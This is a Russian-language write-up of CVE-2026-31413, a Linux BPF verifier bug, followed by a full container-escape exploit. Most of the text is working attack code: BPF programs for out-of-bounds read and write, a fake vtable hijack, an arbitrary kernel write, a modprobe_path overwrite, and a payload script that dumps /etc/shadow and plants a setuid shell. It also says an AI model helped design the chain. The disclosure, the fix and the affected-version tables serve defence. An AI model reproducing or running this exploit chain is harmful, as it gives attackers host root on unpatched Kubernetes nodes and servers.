
CVE-2026-31413: ошибка корректности верификатора BPF — побег из контейнера
Я нашёл ошибку корректности (soundness) в Linux BPF-верификаторе — + 1 в вызове push_stack(), из-за которого верификатор пропускает ALU-инструкцию на ответвлённом пути. Для BPF_OR это означает, что верификатор отслеживает dst = 0, тогда как CPU вычисляет 0 | K = K. Я написал полноценный побег из контейнера: OOB-чтение/запись из BPF-карты, перехват vtable, перезапись modprobe_path, root на хосте. Затем я подготовил серию из двух патчей — исправление верификатора в один символ и 90 строк selftests — и добился включения её в mainline.
📹 Видео-демонстрация побега из контейнера
| CVE | CVE-2026-31413 |
| Класс ошибки | Корректность верификатора — расхождение значений регистров |
| Корневая причина | push_stack(env, env->insn_idx + 1, ...) пропускает ALU-инструкцию на ответвлённом пути |
| Внесено | bffacdb80b93 — Linux 7.0-rc1 (14 января 2026) |
| Исправлено | c845894ebd6f — Linux 7.0-rc5 (22 марта 2026) |
| Затронутые версии | 6.12.75+ (стабильный бэкпорт dea9989a3f) вплоть до 7.0-rc4 |
| Воздействие | Произвольное чтение/запись в ядре → побег из контейнера → root на хосте |
| Требуется | CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN |
| Исправление | Один символ: insn_idx + 1 → insn_idx |
maybe_fork_scalars() разветвляет состояние верификатора, когда видит ARSH + AND/OR с константой. Ответвлённый путь получает dst = 0 и пропускает ALU-инструкцию. Для AND это нормально: 0 & K = 0. Для OR это неверно: 0 | K = K, а не 0.
Верификатор считает регистр нулевым. В CPU — K. Я использовал это, чтобы построить произвольное OOB-чтение/запись из значения BPF-карты, получить адрес карты в ядре, собрать поддельную vtable bpf_map_ops, перенаправить map_push_elem через array_map_get_next_key для произвольной записи и перезаписать modprobe_path. Стоит запустить неизвестный бинарный формат — и ядро выполняет мой скрипт от root. Для контейнера это полный побег на хост.
Серия из двух патчей: исправление верификатора в один символ плюс 90 строк BPF-selftests, покрывающих разветвление OR и AND. Влито Алексеем Старовойтовым 22 марта. CVE-2026-31413 присвоен Грегом Кроа-Хартманом 12 апреля.
eBPF позволяет загружать небольшие программы в ядро — фильтры пакетов, перехватчики трассировки, политики безопасности — без компиляции модуля ядра. Загвоздка в том, что вы внедряете код в кольцо 0 (ring 0). Если в этом коде есть ошибка, это ошибка ядра.
Поэтому перед запуском любой BPF-программы верификатор ядра симулирует каждый возможный путь исполнения. Он отслеживает, что находится в каждом регистре (указатель? скаляр? какой диапазон?), проверяет каждый доступ к памяти на соответствие границам карты и отклоняет всё, что может читать или записывать за пределами границ. Если верификатор говорит, что программа безопасна, JIT компилирует её в нативный машинный код и выполняет с полными привилегиями ядра. После этого проверок границ во время выполнения нет. Верификатор и есть граница безопасности.
Именно поэтому ошибки корректности верификатора отличаются от обычного повреждения памяти. При переполнении кучи или UAF вы получаете один примитив повреждения и дальше работаете от него — распыляете кучу, выстраиваете объекты, ловите окно гонки. При ошибке верификатора вы заставляете ядро поверить лжи о значении регистра. Все проверки границ, зависящие от этого регистра, проходят. Ядро одобрило ваш OOB-доступ и выполняет его без вопросов. Если правильно выстроить состояние регистров, из этого получается чистый и надёжный примитив.
Я аудировал maybe_fork_scalars() — новый код, добавленный в январе 2026 года в bffacdb80b93. Разветвление состояния всегда интересно, потому что именно здесь верификатор расходится на параллельные пути исследования, и если какой-то путь отслеживает неверное значение, всё ниже по этому пути становится некорректным (unsound).
Функция разветвляет состояние, когда видит ARSH + AND/OR с константным источником. Ответвлённый путь получает dst = 0 и пропускает ALU-инструкцию. Я читал строку push_stack(env, env->insn_idx + 1, ...) — и меня тут же осенило: + 1 означает, что ответвлённый путь никогда не выполняет ALU-операцию. Для AND 0 & K = 0, так что пропуск допустим. Для OR 0 | K = K. Ответвлённый путь считает результат равным 0, хотя на самом деле это K.
В тот же вечер я написал BPF-программу. ARSH 63, чтобы получить {0, -1}, OR с константой, условная ветка для разделения путей верификатора, и затем сложение «нулевого» регистра с указателем на карту. Верификатор одобрил map_value + 0. CPU обратился к map_value + K. KASAN подтвердил выход за границы при тестировании.
OOB-чтение/запись — к следующему утру. Побег из контейнера — к следующей ночи. На протяжении всей работы я использовал Claude (Opus 4.5) — и для разбора логики разветвления состояния верификатора, и для мозгового штурма примитивов эксплуатации, и для превращения OOB в полную цепочку побега. Подход с перехватом vtable родился в ходе диалога, в котором Claude прошёлся по указателям на функции bpf_map_ops в поисках вызываемых гаджетов.
Коммит bffacdb80b93 («bpf: Recognize special arithmetic shift in the verifier») попал в 7.0-rc1 14 января 2026 года. Автор — Алексей Старовойтов, соавтор — Puranjay Mohan. В нём была добавлена maybe_fork_scalars() для обработки паттерна LLVM DAGCombiner:```
w2 s>>= 31 // arithmetic shift right: w2 becomes 0 or -1
w2 &= -134 // AND with constant K
LLVM преобразует `select_cc setlt X, 0, A, 0` в `sra + and`. После арифметического сдвига вправо регистр равен либо `0` (неотрицательный вход), либо `-1` (все единицы). AND с константой даёт `0` или `K`.
Верификатор не может отслеживать `{0, K}` в одном `bpf_reg_state` — его диапазон со знаком `[0, K]` является завышенным приближением, и из-за этого он отклонял корректные программы Cilium. Исправление: разветвить состояние верификатора. Один путь исследует `dst = 0`, другой — `dst = -1`, каждый отслеживая точное значение.
Реализация:```c
static int maybe_fork_scalars(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state *dst_reg)
{
// ... condition check: dst range is [-1, 0], src is constant ...
branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
// ^^^^^^^^^^^^
// pushed path resumes AFTER the ALU insn
if (IS_ERR(branch))
return PTR_ERR(branch);
regs = branch->frame[branch->curframe]->regs;
__mark_reg_known(®s[insn->dst_reg], 0); // pushed: dst = 0
__mark_reg_known(dst_reg, -1ull); // current: dst = -1
return 0;
}
На пути, который был помещён в стек, происходят две вещи:
0insn_idx + 1 - инструкции после операции ALUДля BPF_AND: dst = 0, AND пропускается. Во время выполнения: 0 & K = 0. Совпадает. Корректно.
Для BPF_OR: dst = 0, OR пропускается. Во время выполнения: 0 | K = K. Несовпадение.
Верификатор видит 0. Процессор имеет K. Некорректно.
Функция не проверяет код операции. Она была написана для AND - где пропуск
инструкции эквивалентен её выполнению с dst = 0 - и была применена также к
OR. Для OR эта эквивалентность не выполняется.
Триггерный паттерн состоит из пяти инструкций:``` r6 = (u64)(map_value + 0) // load a positive value (guaranteed by map init) r6 s>>= 63 // arithmetic shift: r6 = 0 (positive input) r6 |= K // BUG: verifier forks, pushed path gets r6=0 if r6 s< 0 goto exit // steers verifier paths r9 += r6 // verifier: r9 += 0 (in-bounds) // runtime: r9 += K (OOB)
Верификатор рассматривает два пути:
**Текущий путь** (`dst = -1`): Операция OR выполняется, `-1 | K` по-прежнему равно `-1`. Ветвь `r6 s< 0` берётся. Верификатор следует по выходу. Этот путь безопасен, и верификатор подтверждает это.
**Отложенный путь** (`dst = 0`, пропущенная OR): `r6 = 0`. Ветвь `r6 s< 0` не берётся. Верификатор переходит к `r9 += r6`, видит `r9 += 0` и одобряет последующий доступ к памяти как находящийся в границах.
**Во время выполнения** (`dst = 0`, OR выполняется): Значение карты положительное, поэтому после ARSH `r6 = 0`. Операция OR выполняется: `0 | K = K`. Ветвь `K s< 0` не берётся (K положительное). `r9 += K` — выход за границы на `K` байт, одобренный верификатором как `r9 += 0`.
Я контролирую `K`. Чтение или запись за границами с произвольным смещением относительно значения любой BPF-карты.
Версия для чтения сохраняет утёкшие данные во вторую карту для получения из пользовательского пространства. Версия для записи загружает значение из третьей карты и записывает его по смещению за границами. Обе проходят верификатор.
Вот полный `oob_read_prog` — это фактический код из эксплойта, а не псевдокод:```c
static int oob_read_prog(int map_fd, int dst_fd, int offset)
{
int K = -offset;
struct bpf_insn insn[] = {
/* look up map_fd[0] → R0 = pointer to value, load seed into R6 */
BPF_LD_MAP_FD(R1, map_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_ST_MEM(BPF_DW, R10, -8, 0),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1), /* map_lookup_elem */
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_LDX_MEM(BPF_DW, R6, R0, 0), /* R6 = seed (positive) */
/* look up dst_fd[0] → R9 = pointer to output buffer */
BPF_LD_MAP_FD(R1, dst_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_ST_MEM(BPF_DW, R10, -8, 0),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_MOV64_REG(R9, R0),
/* look up map_fd[0] again → R8 = base pointer for OOB access */
BPF_LD_MAP_FD(R1, map_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_MOV64_REG(R8, R0),
/* === THE BUG === */
BPF_ALU64_IMM(BPF_ARSH, R6, 63), /* R6 = 0 (positive seed) */
BPF_ALU64_IMM(BPF_OR, R6, K), /* verifier: R6=0, runtime: R6=K */
BPF_MOV64_IMM(R7, 0),
BPF_ALU64_REG(BPF_SUB, R7, R6), /* R7 = -K = offset */
BPF_ALU64_REG(BPF_ADD, R8, R7), /* R8 = map_value + offset (OOB) */
BPF_LDX_MEM(BPF_DW, R0, R8, 0), /* OOB read: 8 bytes */
BPF_STX_MEM(BPF_DW, R9, R0, 0), /* store to output map */
BPF_MOV64_IMM(R0, 0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));
}
И OOB-запись - тот же трюк с ARSH+OR, но записывает значение из третьей карты в OOB-смещение:```c static int oob_write_prog(int map_fd, int val_fd, int offset) { int K = -offset; struct bpf_insn insn[] = { /* look up map_fd[0], load seed, trigger the bug / BPF_LD_MAP_FD(R1, map_fd), BPF_ST_MEM(BPF_W, R10, -4, 0), BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4), BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1), BPF_JMP_IMM(BPF_JEQ, R0, 0, 20), BPF_MOV64_REG(R9, R0), BPF_LDX_MEM(BPF_DW, R6, R9, 0), / R6 = seed */
BPF_ALU64_IMM(BPF_ARSH, R6, 63), /* R6 = 0 */
BPF_ALU64_IMM(BPF_OR, R6, K), /* R6 = K (verifier: 0) */
BPF_JMP_IMM(BPF_JSLT, R6, 0, 13), /* skip if negative (verifier path) */
BPF_MOV64_IMM(R7, 0),
BPF_ALU64_REG(BPF_SUB, R7, R6), /* R7 = -K */
BPF_ALU64_REG(BPF_ADD, R9, R7), /* R9 = OOB target */
/* look up val_fd[0] → R8 = value to write */
BPF_LD_MAP_FD(R1, val_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JEQ, R0, 0, 4),
BPF_LDX_MEM(BPF_DW, R8, R0, 0), /* R8 = write value */
BPF_STX_MEM(BPF_DW, R9, R8, 0), /* OOB write */
BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 2),
BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));
}
Чтобы запустить любую из этих программ, я подключаю её к паре сокетов и пропускаю через неё пакет:```c
static int trigger_bpf_prog(int prog_fd)
{
int socks[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks) < 0) return -1;
setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd));
char buf[64] = "x";
write(socks[1], buf, sizeof(buf));
struct timeval tv = { .tv_sec = 1 };
setsockopt(socks[0], SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
read(socks[0], buf, sizeof(buf));
close(socks[0]); close(socks[1]);
return 0;
}
Паттерн «отрицание и сложение» (R7 = 0 - R6; R8 += R7) позволяет нам достигать отрицательных
смещений от значения карты - именно там находятся собственные метаданные карты.
Полная цепочка:``` BPF_OR divergence (verifier: dst=0, runtime: dst=K) │ ▼ Arbitrary OOB read/write relative to map value │ ├── Read offset -136 → leak freeze_mutex.wait_list → map kernel address ├── Read offset -264 → leak ops vtable → confirm array_map_ops │ ▼ Build fake bpf_map_ops vtable in map value (42 slots from kallsyms) → slot 15 (map_push_elem) = array_map_get_next_key │ ▼ Corrupt map header via OOB writes → ops → fake vtable → map_type → BPF_MAP_TYPE_QUEUE (22) → max_entries → 0xFFFFFFFF │ ▼ bpf(BPF_MAP_UPDATE_ELEM) dispatches through map_push_elem → array_map_get_next_key(map, value, flags) → writes (u32)value + 1 to (u32)flags → flags = attacker-controlled kernel address │ ▼ Overwrite modprobe_path → "/tmpn/mo" │ ▼ Exec unknown binary format → kernel runs /tmpn/mo as root │ ▼ Restore map header → clean exit
### Целевая компоновка
`BPF_MAP_TYPE_ARRAY` основана на `struct bpf_array`, которая включает
`struct bpf_map` по смещению 0. Фактические значения карты начинаются со смещения 264 (после
заголовка `bpf_array` + выравнивание). Таким образом, от `value[0]` собственные метаданные карты
находятся по известным отрицательным смещениям:```
struct bpf_map (embedded in bpf_array)
┌────────────────────────────────────────┐
offset from val[0] │ │
-264 │ ops (struct bpf_map_ops *) │ ← vtable pointer
-240 │ map_type (u32) │
-236 │ key_size (u32) │
-232 │ value_size (u32) │
-228 │ max_entries (u32) │
│ ... │
-136 │ freeze_mutex.wait_list │ ← points back into struct
│ ... │
0 │ value[0] ← our OOB origin │
└────────────────────────────────────────┘
Я проверил это с помощью pahole на vmlinux для 6.12.76-docker. На протестированном
ядре смещения совпали точно.
Два чтения за пределами границ (OOB) дают мне всё необходимое:
wait_list на смещении -136. Это freeze_mutex.wait_list —
list_head, который указывает сам на себя, когда мьютекс никем не занят. Его значение
— &map->freeze_mutex.wait_list — указатель на ядро, указывающий внутрь структуры карты.
Вычтите 128 — и я получаю базовый адрес карты. Прибавьте 264 — и я получаю адрес ядра
для value[0].
ops на смещении -264. Это указатель на vtable bpf_map_ops. На
немодифицированном ядре он указывает на глобальный символ array_map_ops. Я читаю его,
чтобы подтвердить, что ядро не пропатчено, и получить адрес vtable для клонирования.```c
uint64_t wait_list = do_oob_read(victim, scratch, OFF_WAIT_LIST);
uint64_t map_addr = wait_list - 128;
uint64_t val_addr = map_addr + 264;
uint64_t ops = do_oob_read(victim, scratch, OFF_OPS); if (ops != ARRAY_MAP_OPS) { fprintf(stderr, "[-] ops mismatch! Kernel might be patched.\n"); return 1; }
На данный момент у меня есть: адрес ядра карты, адрес контролируемых мной данных (`value[0]`) и подтверждённый указатель на vtable.
### Шаг 2: Поддельная vtable
`bpf_map_ops` содержит 42 слота для указателей на функции. Если я просто обнулю те, что мне не нужны, ядро вызовет NULL-deref при первом же обращении к одному из них. Поэтому я резолвлю каждый символ из `/proc/kallsyms` и создаю полную копию:```c
uint64_t *vt = (uint64_t *)(val + 8); // offset 8 in value (slot 0 is seed)
vt[ 0] = sym_alloc_check; // map_alloc_check
vt[ 1] = sym_alloc; // map_alloc
vt[ 2] = 0; // map_release (unused path)
vt[ 3] = sym_free; // map_free
vt[ 4] = sym_get_next_key; // map_get_next_key
// ...
vt[12] = sym_lookup_elem; // map_lookup_elem
vt[13] = sym_update_elem; // map_update_elem
vt[14] = sym_delete_elem; // map_delete_elem
vt[15] = ARRAY_GET_NEXT_KEY; // map_push_elem ← THE HIJACK
// ...
vt[40] = sym_mem_usage; // map_mem_usage
Слот 15 — это map_push_elem. В реальном array_map_ops здесь NULL (массивы не поддерживают push). Я заменяю его на array_map_get_next_key.
Почему get_next_key? Его сигнатура:```c
int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)
Он читает `*(u32 *)key`, инкрементирует его и записывает результат в `*(u32
*)next_key`. При вызове через путь диспетчеризации `map_push_elem`:```c
int bpf_map_push_elem(struct bpf_map *map, void *value, u64 flags)
→ map->ops->map_push_elem(map, value, flags)
Аргумент flags попадает в параметр next_key. Если я контролирую flags, я
контролирую место записи. Записываемое значение — *(u32 *)value + 1 — небольшое
целое число, которое я могу предсказать, задав первые 4 байта моего буфера для push.
Прежде чем я смогу использовать поддельную vtable, мне нужно перенаправить карту на неё
и изменить её тип, чтобы ядро отправляло запросы через map_push_elem. Три записи
за пределами границ (OOB), выполняемые по порядку:```c
// Point ops at my fake vtable (lives at val_addr + 8)
exec_oob_write(prog_wr_ops, scratch, val_addr + 8);
// Disable max_entries bounds check exec_oob_write(prog_wr_max, scratch, 0xFFFFFFFFULL);
// Change map_type to BPF_MAP_TYPE_QUEUE (22) exec_oob_write(prog_wr_type, scratch, 22ULL);
Смена типа критически важна. Когда пользовательское пространство вызывает `bpf(BPF_MAP_UPDATE_ELEM)` на array-карте, ядро выполняет диспетчеризацию через `map_update_elem`. Но на queue-карте тот же системный вызов диспетчеризуется через `map_push_elem` - который теперь указывает на `array_map_get_next_key`.
Я предварительно загружаю все шесть BPF-программ (три записи + три восстановления) *до* того, как что-либо повреждаю. Как только я повреждаю указатель `ops`, я больше не могу загружать новые BPF-программы, ссылающиеся на эту карту - верификатор перейдет по фейковой vtable и упадет. Все должно быть подготовлено заранее.
### Шаг 4: Произвольная запись через map_push_elem
Теперь я могу записать 4 байта по любому адресу ядра:```c
#define ARB_WRITE32(addr, val32) do { \
uint32_t _v = (val32); \
uint32_t _pv = _v - 1; \
memset(push_buf, 0, sizeof(push_buf)); \
memcpy(push_buf, &_pv, 4); \
map_push(victim, push_buf, (addr)); \
} while(0)
map_push() вызывает bpf(BPF_MAP_UPDATE_ELEM) с flags = addr. Ядро
направляет в мой перехваченный map_push_elem → array_map_get_next_key(map, push_buf, addr). Оно читает *(u32 *)push_buf (которое равно val - 1), добавляет 1 и
записывает val в *(u32 *)addr.
Примитив записи — это 4-байтовое сохранение u32 через get_next_key. Ограничений
на выравнивание нет — ядро выполняет обычное *(u32 *)addr = val по любому
переданному нами адресу.
modprobe_path — это глобальный char[256] в ядре, по умолчанию /sbin/modprobe.
Когда ядро встречает исполняемый файл с неизвестным магическим числом, оно вызывает
modprobe_path от имени root для загрузки соответствующего модуля. Перезапишу его путём,
который я контролирую, вызову неизвестный бинарный формат — и ядро запустит мой скрипт
от root.
Целевой путь — /tmpn/mo. Я не могу записывать произвольные строки — я пишу по 4 байта
за раз через целочисленное приращение get_next_key. Но мне нужно только две записи:```c
// Original: "/sbin/modprobe\0"
// Write "/tmp" at offset 0:
ARB_WRITE32(MODPROBE_PATH + 0, 0x706d742fU); // "/tmp" little-endian
// Write "\0\0\0\0" at offset 8 (null-terminate):
ARB_WRITE32(MODPROBE_PATH + 8, 0x00000000U);
// Bytes 4-7 are untouched: "n/mo" from original "/sbin/modprobe"
// Result: "/tmpn/mo\0"
В контейнерном режиме `modprobe_path` разрешается в пространстве имён монтирования init — а не
в пространстве имён контейнера. Поэтому скрипт полезной нагрузки должен находиться по пути `/tmpn/mo` на хосте.
С `--pid=host` или общим пространством имён PID я добираюсь до файловой системы хоста через
`/proc/1/root/`:```c
snprintf(payload_script, sizeof(payload_script), "/proc/1/root/tmpn/mo");
В реальной атаке эксплойт записывает полезную нагрузку в /tmpn/mo на хосте через /proc/1/root/tmpn/mo (доступно, когда под имеет общее пространство имён PID, как это стандартно для сайдкаров сервис-меша, например Cilium, и агентов мониторинга, например Falco). Демо упрощает этот шаг: оркестратор заранее размещает полезную нагрузку на хосте, так что эксплойту нужно лишь инициировать выполнение.
Эксплойт создаёт триггерный бинарник - 4 байта \xff - и выполняет его. Ядро не распознаёт формат, ищет modprobe_path, находит /tmpn/mo и запускает его от имени root.
Полезная нагрузка:```sh #!/bin/sh id > /tmp/pwned cat /etc/shadow >> /tmp/pwned 2>/dev/null cp /bin/sh /tmp/pwn 2>/dev/null && chmod 04755 /tmp/pwn 2>/dev/null
### Шаг 6: Очистка
После записи в `modprobe_path` я восстанавливаю заголовок карты - type, max_entries,
ops - с помощью трёх заранее загруженных программ восстановления. Карта снова
становится обычным массивом. Никакого висящего фейкового vtable, никакой
нестабильности ядра. Эксплойт одноразовый и оставляет чистое состояние.```c
exec_oob_write(prog_rst_type, scratch, orig_type_key);
exec_oob_write(prog_rst_max, scratch, orig_max);
exec_oob_write(prog_rst_ops, scratch, orig_ops);
In my demo environment, the full chain from first OOB read to root shell took a couple of seconds.
Помимо основного побега из контейнера, я создал серию автономных уровней эксплойтов, демонстрирующих различные возможности пост-эксплуатации на основе одного и того же примитива. Каждый уровень представляет собой самодостаточный C-файл в каталоге exploit/, использующий общую вспомогательную библиотеку exploit_common.h для настройки OOB чтения/записи ARSH+OR.
Все уровни восстанавливают все изменения перед завершением. Протестировано на 6.12.76.
make # builds everything (PoCs + exploits + tiers) make setcaps # sets required capabilities on all binaries
Или по отдельности:```bash
gcc -O2 -Wall -static -I. -o exploit/tier2_cred_overwrite exploit/tier2_cred_overwrite.c
sudo setcap cap_bpf,cap_perfmon,cap_net_admin,cap_syslog+ep exploit/tier2_cred_overwrite
Каждый уровень требует CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN + CAP_SYSLOG.
├── exploit/ │ ├── exploit_common.h # Shared primitives (OOB R/W, arb R/W, ksym) │ ├── exploit.c # Core container escape (modprobe_path) │ ├── exploit_gke.c # GKE/kCTF variant (v1: vtable hijack + modprobe_path) │ ├── exploit_gke_v2.c # v2: data-only cred overwrite (recommended) │ └── tier2-10_.c # Post-exploitation tiers (see table above) ├── poc/ │ ├── validate_bug.c # Minimal verifier bug trigger │ ├── test_oob.c # OOB access proof │ ├── leak_map_addr.c # Map address leak │ └── step1-3_.c # Incremental exploit development ├── patches/ │ └── *.patch # Fix + selftests (v3) ├── demo/ │ ├── container_escape_demo.mp4 # Full demo video │ ├── Dockerfile # Vulnerable container │ └── demo_escape.sh # Demo orchestrator ├── bpf_helpers.h # BPF syscall wrappers └── Makefile
---
## Кто затронут
Эксплойт требует `CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN`. Вы не получите их из непривилегированного контейнера или обычной учётной записи пользователя в укреплённой системе. Но есть много контекстов, где эти capabilities у вас есть.
### Непривилегированные BPF-системы
Если `kernel.unprivileged_bpf_disabled=0` (проверьте через `sysctl`), любой локальный пользователь может загружать BPF-программы. Раньше это было значением по умолчанию на старых дистрибутивах и иногда включается для dev/test окружений. На таких системах это прямое локальное повышение привилегий - от любого пользователя до root, без специальных разрешений.
Большинство современных дистрибутивов поставляются с `unprivileged_bpf_disabled=1` или `=2` (заблокировано), поэтому этот путь закрыт в стандартных установках Ubuntu 22.04+, Debian 12+, Fedora, RHEL 9 и т.д.
### Kubernetes / контейнерные окружения
Именно здесь баг наносит удар. Стандартные непривилегированные контейнеры сбрасывают `CAP_BPF`, поэтому они не могут вызвать баг. Но многие инфраструктурные поды работают с повышенными capabilities:
| Продукт | Привилегии по умолчанию | Примечания |
|---------|-------------------|-------|
| **Cilium** (GKE Dataplane V2) | `CAP_SYS_ADMIN` + `CAP_NET_ADMIN` | Сетевая политика, работает на каждом узле |
| **Falco** | `privileged: true` | Безопасность времени выполнения, монтирует /dev |
| **Tetragon** | `privileged: true` | eBPF-наблюдаемость |
| **Datadog Agent** | `CAP_SYS_ADMIN` + 7 more | Метрики, логи, APM |
| **Pixie** | `privileged: true` | Наблюдаемость на основе eBPF |
| **Tracee** | `privileged: true` or BPF caps | Средство безопасности времени выполнения от Aqua |
Обычно они работают как DaemonSets - по одному поду на узел, в масштабе всего кластера. Если атакующий скомпрометирует любой из этих подов (RCE в веб-сервисе на том же узле, атака на цепочку поставок, SSRF в API агента и т.д.), у него будут необходимые capabilities для запуска этого эксплойта и выхода на root хоста.
**Важное предостережение:** Эксплойт работает только на ядрах, содержащих уязвимый код (6.12.75-6.12.79, 6.18.x-6.18.20, 6.19.x-6.19.10, 7.0-rc1 — 7.0-rc4). Большинство продакшн-кластеров K8s работают на более старых LTS-ядрах. Проверьте версию ядра вашего узла с помощью `uname -r`, прежде чем предполагать возможность эксплуатации.
С root хоста на одном узле боковое перемещение на другие узлы обычно возможно через тот же DaemonSet (общие сервисные аккаунты, примонтированные секреты и т.д.).
### Управляемый Kubernetes (GKE, EKS, AKS)
Google GKE по умолчанию использует Cilium в качестве Dataplane V2. Если узлы GKE работают на непропатченном ядре 6.12.x (проверьте версию вашего пула узлов), компрометация любого пода Cilium превращается в root хоста и захват узла. Я создал эксплойт специально для этого сценария - поэтому он называется `exploit_gke.c`.
Amazon EKS и Azure AKS также потенциально затронуты, если они работают на ядрах 6.12.x с Cilium или аналогичным сетевым стеком на основе BPF. Нужно проверить конкретные версии образов AMI/VM.
### Android
Android использует eBPF для учёта сетевого трафика (netd), профилирования энергопотребления и отслеживания памяти. Текущие устройства Android (14/15) используют LTS-ядра 6.1, которые **не затронуты**. Android 16 может перейти на 6.12 LTS - если это произойдёт, и если в него попадёт уязвимый бэкпорт, поверхность атаки будет включать системные сервисы, такие как `netd` и `system_server`, которые загружают BPF-программы.
Это предположительно и зависит от сроков внедрения ядра Android. Я подал заявку в Android VRP для отслеживания.
### Контейнеры с общим ядром (LXC/LXD)
Системные контейнеры, разделяющие ядро хоста (в отличие от ВМ), полностью открыты. Компрометация общего ядра = компрометация хоста + всех остальных контейнеров на нём. Это отличается от Docker/containerd, где вы выходите на хост, который сам может быть ВМ.
### Что он не обходит
Это баг ядра гостевой системы, а не побег из гипервизора. Если вы запустите эксплойт внутри инстанса EC2, вы получите root на этом инстансе - вы не выходите за пределы гипервизора Nitro к физическому хосту или другим арендаторам. То же самое для GCE, Azure VMs, KVM и т.д. Аппаратная граница сохраняется.
### Затронутые ядра
| Ветка | Затронутые | Исправленные |
|--------|----------|-------|
| 6.12.y (LTS) | `dea9989a3f` до 6.12.79 | 6.12.80+ |
| 6.18.y | `4c122e8ae149` до 6.18.20 | 6.18.21+ |
| 6.19.y | `e52567173ba8` до 6.19.10 | 6.19.11+ |
| mainline | 7.0-rc1 — 7.0-rc4 | 7.0-rc5+ |
Коммит, вносящий уязвимость: `bffacdb80b93` ("bpf: Recognize special arithmetic shift in the verifier")
Исправляющий коммит: `c845894ebd6f`
`CAP_BPF` — небезопасная capability. Баг в верификаторе превращает её в произвольное чтение/запись ядра. Продукты, которые предоставляют её рабочим подам, должны относиться к ней как к `CAP_SYS_ADMIN`.
---
## Исправление
Один символ:```diff
- branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
+ branch = push_stack(env, env->insn_idx, env->insn_idx, false);
Вместо того чтобы отправлять ветку на insn_idx + 1 (пропуская ALU-инструкцию),
отправляем на insn_idx — на саму инструкцию. Отправленный путь повторно
выполняет ALU-операцию с dst = 0:
0 & K = 0 ✓0 | K = K ✓Изначальный подход был хитроумным — пропустить инструкцию и захардкодить
результат, экономя один шаг верификатора на отправленном пути. Но эта
оптимизация работает только тогда, когда результат выполнения инструкции
с dst = 0 является нулевым. Для AND это верно, для OR — нет. Исправление
отказывается от оптимизации: просто заново выполнить инструкцию и позволить
верификатору вычислить корректное значение для любой операции.
Я перебрал три ревизии патча:
opcode в maybe_fork_scalars() и установил
dst = K для OR и dst = 0 для AND на отправленном пути. Работало, но
добавляло сложность.insn_idx вместо insn_idx + 1. Проще, не зависит от
операции, устраняет целый класс багов вида «пропуск против выполнения».Вмёржено как c845894ebd6f 22 марта Алексеем Старовойтовым. Селфтесты в
0ad1734cc559. Рецензировано Эдуардом Зингерманом, подтверждено Амери Хунгом.
Селфтесты покрывают три случая:
or_scalar_fork_rejects_oob — ARSH 63 + OR 8, value_size=8, доступ по
смещению 8 вне границ (OOB) → должен быть отклонёнand_scalar_fork_still_works — регрессионный тест, путь AND по-прежнему
принимаетсяor_scalar_fork_allows_inbounds — OR 4, value_size=8, смещение 4
в пределах границ → должен быть принятЛинус вмёржил d5273fd3ca0b ("Merge tag 'bpf-fixes'") с примечанием: "Fix
unsound scalar fork for OR instructions (Daniel Wade)".
c845894ebd6f ("bpf: Fix unsound scalar forking in maybe_fork_scalars() for BPF_OR")0ad1734cc559 ("selftests/bpf: Add tests for maybe_fork_scalars() OR vs AND handling")bffacdb80b93 ("bpf: Recognize special arithmetic shift in the verifier")Отказ от ответственности: Этот код эксплойта публикуется в образовательных целях и для оборонительных исследований после ответственного раскрытия и вмёрживания патча. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Автор не несёт ответственности за неправомерное использование.
CVE-2026-31413 — Исправлено в Linux 7.0-rc5. Затронутые версии: с 6.12.75+ (стабильный бэкпорт) по 7.0-rc4.
Daniel Wade — GitHub · Twitter/X · Bluesky · Mastodon · Medium · nadsec.online
| Уровень | Файл | Возможность |
|---|
| 1 | exploit.c / exploit_gke.c | Побег из контейнера - перехват vtable + перезапись modprobe_path (основной эксплойт, описанный выше) |
| v2 | exploit_gke_v2.c | Перезапись cred только данными - без перехвата vtable, без modprobe_path, без взаимодействия с файловой системой. Автоопределение компоновки task_struct. Нулевое окно повреждения карты памяти. Рекомендуемый эксплойт. |
| 2 | tier2_cred_overwrite.c | Прямая перезапись учетных данных - обход цепочки task_struct, поиск текущей задачи, обнуление uid/gid/caps в struct cred для мгновенного получения root |
